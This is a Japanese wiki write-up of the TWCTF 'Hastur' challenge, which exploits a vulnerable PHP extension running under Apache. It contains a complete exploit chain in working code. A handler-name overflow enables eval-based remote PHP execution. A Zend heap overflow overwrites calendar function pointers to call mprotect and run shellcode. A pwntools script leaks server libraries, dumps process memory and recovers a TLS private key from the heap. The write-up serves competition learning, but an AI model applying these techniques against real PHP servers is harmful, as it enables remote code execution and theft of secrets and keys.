ログイン
編集不可のページディスカッション情報添付ファイル
ytoku/CTF/Writeup/TWCTF/Hastur

MMA

Hastur (flag1)

mod_flag.soを見ることで/flag1にflag1が存在することがわかる.

hastur_set_namestrncpyを用いているように見えるが,その実,受け取った長さをそのまま渡しており,実質strcpyである.

   1 static PHP_FUNCTION(hastur_set_name)
   2 {
   3     char *str;
   4     int str_len;
   5 
   6     if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &str, &str_len) == FAILURE) {
   7         return;
   8     }
   9 
  10     strncpy(god_name, str, str_len + 1);
  11 }

god_namehandlerと連続しており,hastur_set_nameによってhandlerを上書きできる.

   1 static char god_name[32]; // bss:00003100 = "Hastur";
   2 static char handler[32];  // bss:00003120 = "hastur_ia_ia_handler";
   3 

handlerhastur_ia_ia関数で使われており,その名前のPHPの関数に引数(text, god_name)を与えて呼び出す. ただしここでtextとは第1引数を"flag"から"iaia"に置換したものである.

   1 static PHP_FUNCTION(hastur_ia_ia)
   2 {
   3     zval **params[2];
   4     char *text;
   5     int text_len;
   6     zval *text_zval;
   7     zval *name_zval;
   8     zval *handler_zval;
   9     zval *retval_ptr;
  10     int i;
  11 
  12     MAKE_STD_ZVAL(handler_zval);
  13     MAKE_STD_ZVAL(name_zval);
  14     MAKE_STD_ZVAL(text_zval);
  15     ZVAL_STRING(handler_zval, handler, 1);
  16     ZVAL_STRING(name_zval, god_name, 1);
  17     params[0] = &text_zval;
  18     params[1] = &name_zval;
  19 
  20     if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s", &text, &text_len) == FAILURE) {
  21         RETURN_FALSE;
  22     }
  23     ZVAL_STRINGL(text_zval, text, text_len, 1);
  24     char *ntext = Z_STRVAL_P(text_zval);
  25     for (i = 0; i < text_len; i++) {
  26         if (strncmp(ntext + i, "flag", 4) == 0) {
  27             strncpy(ntext + i, "iaia", 4);
  28         }
  29     }
  30 
  31     if (call_user_function_ex(EG(function_table), NULL, handler_zval,
  32                               &retval_ptr, 2, params, 0, NULL TSRMLS_CC) == SUCCESS) {
  33         if (retval_ptr) {
  34             COPY_PZVAL_TO_ZVAL(*return_value, retval_ptr);
  35         }
  36     }
  37 
  38     FREE_ZVAL(handler_zval);
  39     FREE_ZVAL(name_zval);
  40     // あ,text_zval開放し忘れてる……
  41 }

よって,2引数の関数を,第1引数をほぼ自由にコントロールできる状態で呼び出すことができる. ただし,"flag"が置換されてしまうため,直接file_get_contentsを呼び出してフラグを得ることができない.

assertevalを用いることで,この条件で任意のPHPコードを実行することができる.

   1     form = {
   2         "name": "A"*32 + "assert",
   3         "text": "@exit(@eval(@base64_decode('" + script.encode("base64") + "')))",
   4     }

Reference: http://average-coder.blogspot.jp/2014_01_01_archive.html

Hastur (flag2)

flag2はmod_flag.soのBSS領域に記録されている. flag1で任意のPHPコードは実行できるようになったので まず初めに思いつくのは/proc/self/memから読み出す方法であるが, rootでプロセスが起動してから権限降格しているために/proc/self/memの所有者はrootとなっている. このためファイルシステムからメモリを読みだす方法を取ることができない. よって,flag2を得るためにはapacheのプロセス上でメモリを書き出す必要がある.

任意コード実行に持ち込まない持ち込まない解法も考えられるが この解法ではnative codeの任意コード実行に持ち込んだ. (もっと簡単にメモリのダンプだけできることはエクスプロイトを作っただいぶ後に気づいたため.)

hastur.sohastur_ia_ia_handlerにはヒープオーバーフローの脆弱性があるためこれを用いる.

   1 static PHP_FUNCTION(hastur_ia_ia_handler)
   2 {
   3     char *text, *name;
   4     int text_len, name_len;
   5     int i;
   6     char extra[1024];
   7     int extra_len;
   8 
   9     if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "ss",
  10                               &text, &text_len,
  11                               &name, &name_len) == FAILURE) {
  12         RETURN_FALSE;
  13     }
  14 
  15     snprintf(extra, sizeof(extra), " ia! ia! %s!", name);
  16     extra_len = strlen(extra);
  17 
  18     size_t new_len = 0;
  19     char *p = text;
  20     while (*p) {
  21         new_len++;
  22         if (*p++ == '.')
  23             new_len += extra_len;
  24     }
  25 
  26     char *ns = emalloc(new_len + 1);
  27     p = ns;
  28     for (i = 0; i < text_len; i++) {
  29         *p++ = text[i];
  30         if (text[i] == '.') {
  31             strncpy(p, extra, extra_len);
  32             p += extra_len;
  33         }
  34     }
  35     *p = '\0';
  36     RETURN_STRING(ns, 0);
  37 }

new_lentext'\0'までを処理した長さであるが, new_len+1だけ確保されたメモリに,'\0'と無関係に与えられた長さtext_len分だけ書き込んでいる. これを用いてヒープの管理構造を破壊することができる.

PHPのメモリ管理: https://wiki.php.net/internals/zend_mm

主要なメモリ管理構造は次のようになっている.

   1 typedef struct _zend_mm_block_info {
   2         size_t _size;
   3         size_t _prev;
   4 } zend_mm_block_info;
   5 
   6 typedef struct _zend_mm_block {
   7         zend_mm_block_info info;
   8 } zend_mm_block;
   9 
  10 typedef struct _zend_mm_small_free_block {
  11         zend_mm_block_info info;
  12         struct _zend_mm_free_block *prev_free_block;
  13         struct _zend_mm_free_block *next_free_block;
  14 } zend_mm_small_free_block;

つまりzend_mm_small_free_blockの位置関係は次の図のようになっている.

   0    1    2    3    4    5    6    7
+----+----+----+----+----+----+----+----+
|       _size       |       _prev       |
+----+----+----+----+----+----+----+----+
|  prev_free_block  |  next_free_block  |
+----+----+----+----+----+----+----+----+

主要なマクロは次の通り.

   1 #define ZEND_MM_NUM_BUCKETS (sizeof(size_t) << 3)
   2 #define ZEND_MM_ALIGNMENT 8
   3 #define ZEND_MM_ALIGNMENT_LOG2 3
   4 
   5 #define ZEND_MM_ALIGNMENT_MASK ~(ZEND_MM_ALIGNMENT-1)
   6 #define ZEND_MM_ALIGNED_SIZE(size)      (((size) + ZEND_MM_ALIGNMENT - 1) & ZEND_MM_ALIGNMENT_MASK)
   7 #define ZEND_MM_ALIGNED_HEADER_SIZE                     ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_block))
   8 
   9 #define ZEND_MM_BLOCK_AT(blk, offset)   ((zend_mm_block *) (((char *) (blk))+(offset)))
  10 #define ZEND_MM_DATA_OF(p)                              ((void *) (((char *) (p))+ZEND_MM_ALIGNED_HEADER_SIZE))
  11 #define ZEND_MM_HEADER_OF(blk)                  ZEND_MM_BLOCK_AT(blk, -(int)ZEND_MM_ALIGNED_HEADER_SIZE)
  12 
  13 #define ZEND_MM_MAX_SMALL_SIZE                          ((ZEND_MM_NUM_BUCKETS<<ZEND_MM_ALIGNMENT_LOG2)+ZEND_MM_ALIGNED_MIN_HEADER_SIZE)
  14 

解放(_efree)された小さなメモリブロックはcache構造にpush(LIFO)される.

   1 static void _zend_mm_free_int(zend_mm_heap *heap, void *p ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
   2 {
   3 ...
   4         if (EXPECTED(ZEND_MM_SMALL_SIZE(size)) && EXPECTED(heap->cached < ZEND_MM_CACHE_SIZE)) {
   5                 size_t index = ZEND_MM_BUCKET_INDEX(size);
   6                 zend_mm_free_block **cache = &heap->cache[index];
   7 
   8                 ((zend_mm_free_block*)mm_block)->prev_free_block = *cache;
   9                 *cache = (zend_mm_free_block*)mm_block;
  10                 heap->cached += size;
  11                 
  12                 HANDLE_UNBLOCK_INTERRUPTIONS();
  13                 return;
  14         }

そして確保(_emalloc)された時にサイズの一致するcacheがあれば優先してそれをpopして返す.

   1 static void *_zend_mm_alloc_int(zend_mm_heap *heap, size_t size ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
   2 {
   3 ...
   4         if (EXPECTED(ZEND_MM_SMALL_SIZE(true_size))) {
   5                 size_t index = ZEND_MM_BUCKET_INDEX(true_size);
   6                 size_t bitmap;
   7 
   8                 if (UNEXPECTED(true_size < size)) {
   9                         goto out_of_memory;
  10                 }
  11 #if ZEND_MM_CACHE
  12                 if (EXPECTED(heap->cache[index] != NULL)) { /* サイズの一致するcacheがあれば */
  13                         /* Get block from cache */
  14                         best_fit = heap->cache[index];
  15                         heap->cache[index] = best_fit->prev_free_block;
  16                         heap->cached -= true_size;
  17                         ZEND_MM_CHECK_MAGIC(best_fit, MEM_BLOCK_CACHED);
  18                         ZEND_MM_SET_DEBUG_INFO(best_fit, size, 1, 0);
  19                         HANDLE_UNBLOCK_INTERRUPTIONS();
  20                         return ZEND_MM_DATA_OF(best_fit);
  21                 }
  22 #endif
  23 

よって,書き換えたいアドレス(-ZEND_MM_ALIGNED_HEADER_SIZE)をcacheに積むことができれば, 次に_emallocした時にそのアドレスが返される.

_zend_mm_alloc_intのキャッシュからのメモリ確保の処理で,popしている部分に注目する.

   1                         heap->cache[index] = best_fit->prev_free_block;

これは,今,確保して返そうとしているsmall_free_blockprev_free_block部分にある アドレスが次のcacheの先頭になることを意味している. よって,次に確保されるブロック上にあるprev_free_blockをヒープオーバーフローで上書きしてやれば良い.

任意のアドレスにデータを上書きできるようになったので,次にどこを書き換えるべきかを考える. 候補は次のように複数あり,どれを利用してもexploit可能だと考えられる.

ここでは関数ポインタを上書きする手法を述べる. 関数ポインタの場合は何でも良いわけではなく,引数が制御できる必要がある. stack書き換えでROPする場合にはこのような点は考えなくて良いだろう.

calendarモジュールには次のような関数ポインタが含まれる構造が存在する.

   1 typedef long int (*cal_to_jd_func_t) (int month, int day, int year);
   2 typedef void (*cal_from_jd_func_t) (long int jd, int *year, int *month, int *day);
   3 
   4 struct cal_entry_t {
   5         char *name;
   6         char *symbol;
   7         cal_to_jd_func_t to_jd;
   8         cal_from_jd_func_t from_jd;
   9         int num_months;
  10         int max_days_in_month;
  11         char **month_name_short;
  12         char **month_name_long;
  13 };
  14 
  15 static struct cal_entry_t cal_conversion_table[CAL_NUM_CALS] = {
  16         {"Gregorian", "CAL_GREGORIAN", GregorianToSdn, SdnToGregorian, 12, 31,
  17          MonthNameShort, MonthNameLong},
  18         {"Julian", "CAL_JULIAN", JulianToSdn, SdnToJulian, 12, 31,
  19          MonthNameShort, MonthNameLong},
  20         {"Jewish", "CAL_JEWISH", JewishToSdn, SdnToJewish, 13, 30,
  21          JewishMonthNameLeap, JewishMonthNameLeap},
  22         {"French", "CAL_FRENCH", FrenchToSdn, SdnToFrench, 13, 30,
  23          FrenchMonthName, FrenchMonthName}
  24 };

特にto_jdの呼び出し部分は次のようになっており,3引数の制御が可能である.

   1 PHP_FUNCTION(cal_to_jd)
   2 {
   3         long cal, month, day, year;
   4 
   5         if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "llll", &cal, &month, &day, &year) != SUCCESS) {
   6                 RETURN_FALSE;
   7         }
   8 
   9         if (cal < 0 || cal >= CAL_NUM_CALS) {
  10                 php_error_docref(NULL TSRMLS_CC, E_WARNING, "invalid calendar ID %ld.", cal);
  11                 RETURN_FALSE;
  12         }
  13 
  14         RETURN_LONG(cal_conversion_table[cal].to_jd(year, month, day));
  15 }

これを利用してmprotectを実行することで,適当な文字列内に配置したシェルコードを実行することが可能になる.

以上を総合して,次のようなexploitで,シェルコードの実行が可能となる.

exec-shellcode.php

   1 <?php
   2 define("DEBUG", 0);
   3 define("SIZE", 128);
   4 
   5 $cal_conversion_table = %%CAL_CONVERSION_TABLE%%;
   6 $mprotect = %%MPROTECT%%;
   7 $shellcode = "%%ESCAPED_SHELLCODE%%";
   8 
   9 $payload = str_repeat("A", SIZE-1)."\0".
  10     pack("LLL", (8+SIZE) | 1, (8+SIZE) | 1, $cal_conversion_table);
  11 
  12 $addr_shellcode = $cal_conversion_table + 0x10;
  13 
  14 // reserve small blocks
  15 $reserved_small_blocks = array_fill(0, 256, NULL);
  16 for ($i = 0; $i < 256; $i++)
  17     array_push($reserved_small_blocks, str_repeat("@", SIZE-9));
  18 // consume caches
  19 $a = array_fill(0, 256, NULL);
  20 for ($i = 0; $i < 256; $i++)
  21     array_push($a, str_repeat("@", SIZE-1));
  22 // supply small blocks for caches
  23 unset($reserved_small_blocks);
  24 // supply target blocks for caches
  25 $reserved_blocks = array_fill(0, 4, NULL);
  26 for ($i = 0; $i < 4; $i++)
  27     $reserved_blocks[$i] = str_repeat("@", SIZE-1);
  28 for ($i = count($reserved_blocks)-1; $i >= 0; $i--)
  29     unset($reserved_blocks[$i]);
  30 
  31 $foo = str_repeat("1", SIZE-1);
  32 $bar = str_repeat("2", SIZE-1);
  33 $baz = str_repeat("3", SIZE-1);
  34 if (DEBUG) {
  35     echo "[foo]\n";
  36     hastur_dump($foo);
  37 }
  38 unset($bar, $foo);
  39 // make overflow; insert cal_conversion_table to cache list
  40 $foo = hastur_ia_ia_handler($payload, '');
  41 if (DEBUG) {
  42     echo "[foo]\n";
  43     hastur_dump($foo);
  44 }
  45 // pop; cal_conversion_table will be top of cache.
  46 $bar = str_repeat("A", SIZE-1);
  47 if (DEBUG) {
  48     echo "[bar]\n";
  49     hastur_dump($bar);
  50 }
  51 // overwrite to cal_conversion_table.
  52 $baz = str_pad(pack("LL", $mprotect, $addr_shellcode).
  53                $shellcode, SIZE-1);
  54 if (DEBUG) {
  55     echo "[baz]\n";
  56     hastur_dump($baz);
  57 }
  58 
  59 // let shellcode executable
  60 $addr = $addr_shellcode & ~(4096-1);
  61 $size = 8192;
  62 $prot = 7;
  63 cal_to_jd(0, $size, $prot, $addr);
  64 
  65 echo "Let's fun\n";
  66 flush();
  67 
  68 // run shellcode
  69 cal_from_jd(0, 0);

exploit.py

   1 import urllib
   2 from pwn import *
   3 context(arch = "i386", os = "linux")
   4 
   5 HOST = 'localhost'
   6 PORT = 31178
   7 if len(sys.argv) > 1:
   8     HOST = sys.argv[1]
   9 if len(sys.argv) > 2:
  10     PORT = int(sys.argv[2])
  11 
  12 def resolve_addresses():
  13     global REL_CAL_CONVERSION_TABLE
  14     global REL_PHP_OUTPUT_WRITE_UNBUFFERED
  15     global REL_MPROTECT
  16     if not os.path.exists("data/libphp5.so"):
  17         cmd = "print(file_get_contents('/usr/lib/apache2/modules/libphp5.so'));"
  18         with open("data/libphp5.so", "w") as f:
  19             f.write(execute_php(cmd).recvall()[:-7])
  20     if not os.path.exists("data/libc-2.19.so"):
  21         cmd = "print(file_get_contents('/lib/i386-linux-gnu/libc-2.19.so'));"
  22         with open("data/libc-2.19.so", "w") as f:
  23             f.write(execute_php(cmd).recvall()[:-7])
  24 
  25     php5 = ELF("data/libphp5.so")
  26     libc = ELF("data/libc-2.19.so")
  27     REL_CAL_CONVERSION_TABLE = list(php5.search(p32(list(php5.search("CAL_GREGORIAN\0"))[0])))[0]-4
  28     REL_PHP_OUTPUT_WRITE_UNBUFFERED = php5.symbols["php_output_write_unbuffered"]
  29     REL_MPROTECT = libc.symbols["mprotect"]
  30 
  31 def connect():
  32     return remote(HOST, PORT)
  33 
  34 def read_chunk(conn):
  35     line = conn.recvline()
  36     length = unhex(line)
  37     return conn.recvn(line)
  38 
  39 def execute_php(script):
  40     if script[:5] == "<?php":
  41         script = script[5:]
  42     script = 'ob_end_flush();echo str_repeat("@", 15)."\n";' + "\n" + script
  43 
  44     form = {
  45         "name": "A"*32 + "assert",
  46         "text": "@exit(@eval(@base64_decode('" + script.encode("base64") + "')))",
  47     }
  48     post_data = urllib.urlencode(form)
  49     
  50     conn = connect()
  51     conn.send("POST / HTTP/1.1\r\n")
  52     conn.send("Host: localhost\r\n")
  53     conn.send("Content-Type: application/x-www-form-urlencoded\r\n")
  54     conn.send("Content-Length: %d\r\n" % len(post_data))
  55     conn.send("\r\n")
  56     conn.send(post_data)
  57     #header = conn.recvuntil("\r\n\r\n")
  58     #print header
  59     #if "chunked" in header:
  60     #    pass
  61     conn.recvuntil("@"*15 + "\n")
  62     return conn
  63 
  64 def extract_maps(raw = False):
  65     marker = "@@@@@@"
  66     script = 'echo "%s".file_get_contents("/proc/self/maps")."%s";' % (marker, marker)
  67     conn = execute_php(script)
  68     conn.recvuntil(marker)
  69     result_raw = conn.recvuntil(marker, drop=True)
  70     conn.close()
  71     
  72     if raw:
  73         return result_raw
  74 
  75     result = []
  76     pat = re.compile('^(\w+)-(\w+) (\S+) \w+ \w+:\w+ \w+\s+(.*)$')
  77     for line in result_raw.split("\n"):
  78         m = pat.search(line)
  79         if m:
  80             addr_begin = int(m.group(1), 16)
  81             addr_end = int(m.group(2), 16)
  82             perms = m.group(3)
  83             pathname = m.group(4)
  84             result.append((addr_begin, addr_end, perms, pathname))
  85     
  86     return result
  87 
  88 def find_base(maps, pathname):
  89     for e in maps:
  90         if e[3] == pathname:
  91             return e[0]
  92     return None
  93 
  94 def find_tail(maps, pathname):
  95     t = 0
  96     for e in maps:
  97         if e[3] == pathname:
  98             t = e[1]
  99     return t
 100 
 101 def php_string_escape(s):
 102     t = ""
 103     for c in s:
 104         t += "\\" + hex(ord(c))[1:]
 105     return t
 106 
 107 def dump_memory(maps, start_addr, length):
 108     php5_base = find_base(maps, "/usr/lib/apache2/modules/libphp5.so")
 109     libc_base = find_base(maps, "/lib/i386-linux-gnu/libc-2.19.so")
 110     
 111     cal_conversion_table = php5_base + REL_CAL_CONVERSION_TABLE
 112     php_output_write_unbuffered = php5_base + REL_PHP_OUTPUT_WRITE_UNBUFFERED
 113     mprotect = libc_base + REL_MPROTECT
 114 
 115     shellcode_asm = """
 116 _start:
 117     mov eax, {func_addr}
 118     push {length}
 119     push {start_addr}
 120     call eax
 121     /* send dummy */
 122     mov eax, {func_addr}
 123     push 4096
 124     push {start_addr}
 125     call eax
 126 exit:
 127     mov eax, 1
 128     int 0x80
 129 """.format(length=length, start_addr=start_addr,
 130            func_addr=php_output_write_unbuffered)
 131     shellcode = asm(shellcode_asm)
 132     if "." in shellcode:
 133         print "Unlucky shellcode!"
 134         exit(1)
 135 
 136     script = file("exec-shellcode.php").read()
 137     vars = {
 138         "CAL_CONVERSION_TABLE": str(cal_conversion_table),
 139         "MPROTECT": str(mprotect),
 140         "ESCAPED_SHELLCODE": php_string_escape(shellcode),
 141     }
 142     def replace_var(m):
 143         return vars[m.group(1)]
 144     script = re.sub('%%(\w+)%%', replace_var, script)
 145     
 146     conn = execute_php(script)
 147     print conn.recvuntil("Let's fun\n")
 148     # sync flush
 149     conn.recvline()
 150     # assert chunk size
 151     if int(conn.recvline(), 16) < length:
 152         print "chunks are collapsed."
 153         exit(1)
 154     
 155     memory = conn.recvn(length)
 156     conn.close()
 157     return memory
 158 
 159 def dump_heap():
 160     with file("data/dumped-maps", "w") as f:
 161         f.write(extract_maps(raw=True))
 162     
 163     maps = extract_maps()
 164     heap_base = find_base(maps, "[heap]")
 165     heap_tail = find_tail(maps, "[heap]")
 166     heap_size = heap_tail - heap_base
 167     
 168     heap = dump_memory(maps, heap_base, heap_size)
 169     with file("data/dumped-heap", "w") as f:
 170         f.write(heap)
 171     print "Heap: %08x-%08x" % (heap_base, heap_base + heap_size)
 172     print "maps is dumped to data/dumped-maps"
 173     print "heap is dumped to data/dumped-heap"
 174 
 175 def show_flag1():
 176     script = "echo file_get_contents('/flag1');"
 177     conn = execute_php(script)
 178     print "Flag1: %s" % conn.recvline()[:-1]
 179     print
 180     conn.close()
 181 
 182 def dump_flag2():
 183     maps = extract_maps()
 184     mod_flag_base = find_base(maps, "/usr/lib/apache2/modules/mod_flag.so")
 185     mod_flag_tail = find_tail(maps, "/usr/lib/apache2/modules/mod_flag.so")
 186     mod_flag_size = mod_flag_tail - mod_flag_base
 187     memory = dump_memory(maps, mod_flag_base, mod_flag_size)
 188     with file("data/dumped-mod_flag", "w") as f:
 189         f.write(memory)
 190     print "mod_flag is dumped to data/dumped-mod_flag"
 191 
 192 show_flag1()
 193 
 194 resolve_addresses()
 195 dump_flag2()
 196 dump_heap()

Hastur (flag3)

Apacheプロセスのheap領域をダンプして証明書の公開鍵のnで検索すると,秘密鍵が(多分)der形式で存在することを発見できる. p, qを取り出して適当に秘密鍵を再構成して,Wiresharkなどにpcapと一緒に食わせるとflag3が得られる.

ytoku/CTF/Writeup/TWCTF/Hastur (最終更新日時 2016-09-05 11:48:31 更新者 ytoku)